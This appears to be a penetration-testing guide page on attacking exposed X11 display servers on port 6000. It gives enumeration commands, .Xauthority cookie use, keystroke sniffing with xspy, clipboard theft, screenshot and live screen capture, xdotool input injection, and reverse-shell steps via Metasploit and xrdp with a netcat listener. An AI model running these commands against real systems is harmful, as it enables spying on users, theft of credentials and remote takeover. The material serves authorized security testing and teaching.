6000 - Pentesting X11
Basic Information
X Window System (X/X11) is a windowing system prevalent on UNIX-based operating systems. If you can connect to a display and present a valid authorization token, you usually get access to a lot more than "just graphics": windows enumeration, clipboard access, screenshots, input sniffing, and input injection are all common post-connection primitives.
Default port: 6000
PORT STATE SERVICE
6000/tcp open X11
A display number usually maps to TCP 6000 + <display> and to the local Unix socket /tmp/.X11-unix/X<display>.
Enumeration
Check for anonymous connection:
nmap -sV --script x11-access -p <PORT> <IP>
msf> use auxiliary/scanner/x11/open_x11
If a server is not listening on TCP, remember that a local foothold plus a valid cookie is still often enough to abuse the Unix-domain socket.
Local Enumeration
The file .Xauthority in the user's home folder is used by X11 for authorization. From here:
xxd ~/.Xauthority
$ xxd ~/.Xauthority
00000000: 0100 0006 6d61 6e65 7063 0001 3000 124d ............0..M
00000010: 4954 2d4d 4147 4943 2d43 4f4f 4b49 452d IT-MAGIC-COOKIE-
00000020: 3100 108f 52b9 7ea8 f041 c49b 85d8 8f58 1...R.~..A.....X
00000030: 041d ef ...
MIT-magic-cookie-1: Generating 128bit of key (“cookie”), storing it in \~/.Xauthority (or where XAUTHORITY envvar points to). The client sends it to server plain! the server checks whether it has a copy of this “cookie” and if so, the connection is permitted. the key is generated by DMX.
Warning
In order to use the cookie you should set the env var: export XAUTHORITY=/path/to/.Xauthority
Useful local triage:
echo "$DISPLAY"
ls -lah /tmp/.X11-unix/
ps -efww | grep -E '[X]org|[X]wayland'
xauth info
xauth list
If you already have code execution as another user, check the environment of GUI-related processes for DISPLAY and XAUTHORITY. If you need a refresher on DISPLAY, see Linux environment variables.
The X server process may also expose the authoritative auth file via the -auth argument, so it is worth checking the full command line of Xorg/Xwayland.
Local Enumeration Session
w
$ w
23:50:48 up 1 day, 10:32, 1 user, load average: 0.29, 6.48, 7.12
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
user tty7 :0 13Oct23 76days 13:37 2.20s xfce4-session
In the example, localhost:0 was running xfce4-session.
Verify Connection
xdpyinfo -display <IP>:<display>
xwininfo -root -tree -display <IP>:<display> # Ex: xwininfo -root -tree -display 10.5.5.12:0
Useful follow-up enumeration once connected:
xlsclients -display <IP>:<display>
xprop -root _NET_ACTIVE_WINDOW -display <IP>:<display>
xinput --list --display <IP>:<display>
Keylogging
xspy can sniff keyboard keystrokes.
Sample output:
xspy 10.9.xx.xx
opened 10.9.xx.xx:0 for snoopng
swaBackSpaceCaps_Lock josephtTabcBackSpaceShift_L workShift_L 2123
qsaminusKP_Down KP_Begin KP_Down KP_Left KP_Insert TabRightLeftRightDeletebTabDownnTabKP_End KP_Right KP_Up KP_Down KP_Up KP_Up TabmtminusdBackSpacewinTab
You can also inspect input devices and monitor events with the X Input extension:
xinput --list --display <IP>:<display>
xinput --test_xi2 --display <IP>:<display>
Clipboard Access
Once authenticated, reading the clipboard is usually trivial:
xclip -display <IP>:<display> -selection clipboard -o
xclip -display <IP>:<display> -selection primary -o
xsel --display <IP>:<display> --clipboard --output
This is useful for credentials, API tokens, copied SSH keys, password-manager pastes, and other short-lived secrets.
Screenshot Capturing
xwd -root -screen -silent -display <TargetIP:0> > screenshot.xwd
convert screenshot.xwd screenshot.png
Remote Desktop View
Way from: https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref
./xrdp.py <IP:0>
Way from: https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html
First we need to find the ID of the window using xwininfo:
xwininfo -root -display 10.9.xx.xx:0
xwininfo: Window id: 0x45 (the root window) (has no name)
Absolute upper-left X: 0
Absolute upper-left Y: 0
Relative upper-left X: 0
Relative upper-left Y: 0
Width: 1024
Height: 768
Depth: 16
Visual: 0x21
Visual Class: TrueColor
Border width: 0
Class: InputOutput
Colormap: 0x20 (installed)
Bit Gravity State: ForgetGravity
Window Gravity State: NorthWestGravity
Backing Store State: NotUseful
Save Under State: no
Map State: IsViewable
Override Redirect State: no
Corners: +0+0 -0+0 -0-0 +0-0
-geometry 1024x768+0+0
XWatchwin
For live viewing use:
./xwatchwin [-v] [-u UpdateTime] DisplayName { -w windowID | WindowName } # -w windowID is the one found with xwininfo
./xwatchwin 10.9.xx.xx:0 -w 0x45
A more maintained alternative for shadowing an existing X11 display is xpra:
xpra shadow :0
xpra attach ssh:<user>@<host>:0
Input Injection / UI Abuse
Authenticated X11 access is not limited to observation. You can usually activate windows, type, and send key presses:
WID=$(xdotool search --onlyvisible --name '.*' | head -n 1)
xdotool windowactivate --sync "$WID"
xdotool type --delay 50 'touch /tmp/.x11-pwned'
xdotool key Return
If you target a specific window with xdotool type --window ..., many applications will ignore the event because it is delivered with XSendEvent. Activating the target window first and then using normal keyboard injection is often more reliable.
Get Shell
msf> use exploit/unix/x11/x11_keyboard_exec
Other way:
Reverse Shell: xrdp also allows taking a reverse shell via Netcat. Type the following command:
./xrdp.py <IP:0> --no-disp
In the interface you can see the R-shell option.
Then, start a Netcat listener in your local system on port 5555.
nc -lvp 5555
Then, put your IP address and port in the R-Shell option and click on R-shell to get a shell.
Shodan
port:6000 x11